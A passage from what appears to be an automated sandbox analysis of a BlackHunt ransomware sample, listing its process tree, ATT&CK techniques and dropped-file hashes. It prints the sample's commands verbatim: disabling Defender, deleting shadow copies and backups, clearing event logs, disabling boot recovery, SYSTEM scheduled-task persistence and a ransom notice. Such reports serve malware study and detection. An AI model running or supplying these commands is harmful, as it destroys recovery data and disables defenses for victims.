    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1800
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:2348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:3048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:1164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:3392
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:3580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:3444
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:3480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:3372
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:3644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:3696
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:3728
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:3520
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:3280
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:3712
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2072
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:3560
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3620
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:3460
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:4000
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3632
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3868
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:3756
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:3576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:3604
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:4064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:1648
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:4016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:3860
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:1712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:3524
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:4072
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:4092
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:2880
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:2992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:2056
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1164
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe"
  2⤵
  - Deletes itself
  PID:2420
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:2192

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
1⤵
PID:1860

C:\Windows\system32\schtasks.exe
SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe" /F
1⤵
- Creates scheduled task(s)
PID:1700

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
1⤵
PID:912

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
1⤵
PID:704

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
1⤵
PID:1092

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
1⤵
PID:1152

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
1⤵
PID:2664

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
1⤵
PID:1368

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
1⤵
PID:2040

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:2040

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
1⤵
PID:840

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
1⤵
PID:2328

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
1⤵
PID:580

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
1⤵
PID:888

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
1⤵
PID:1900

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
1⤵
PID:1784

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:1780

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
1⤵
- Adds Run key to start application
PID:2812

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
1⤵
- Modifies registry class
PID:2416

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
1⤵
- Modifies Windows Defender Real-time Protection settings
PID:2604

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
1⤵
- Modifies registry class
PID:2948

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
1⤵
- Modifies registry class
PID:2696

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1988

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1108

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:580

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:320

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
96121c218b44868ae33c6041bd03b945

SHA1
be5b2fcd9818166e647671fe7d7c656ca60b6593

SHA256
d55fb4324f123b407e71b00234dc10a2d782a65ed03e88b9063554caf8f5f206

SHA512
ebb7edaf71009000e3a7b56ff82c4904b7936e643661e3fca86899c2912455ee39bbe4f06bd19d59b4ba1b1c475a30cacf2c766ab681a6f10b8bd2dcda9d6978

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
c6cabe07f864dcb4c650c4929b229f49

SHA1
4637283ab406a579d28d99745d47b24d9c1e34b4

SHA256
91a636b75c92356cd6b96816b1b2270401dfec62479b755c8ac53b5fdfecd8f9

SHA512
4a7159dcbb1f371cfd8aef56e9bf16047b20d2189a988a2e6b863ff10c426da62d17c424929f5cbcafe83312812818919a1309bedba81ae5d28fd2d6ce9b86ad

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
0a6d5aa2a761fcd5e385f55ec762b13c

SHA1
4529dac9ad4ff9850e87be6edb9177c2cc659cac

SHA256
6c67abee8239d6ee4c9da1e30d2e5c766530f91c167b3671ca0aba0e019d6d7a

SHA512
5a48b4c97cbbf8bf304883dcf7c396d42e0745232cec58d55c732fdaf3b82e63144cd0c3b9f4ca55a7224d9e5ebcc22a5126e2971e136d82177e3a3595443ce2

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads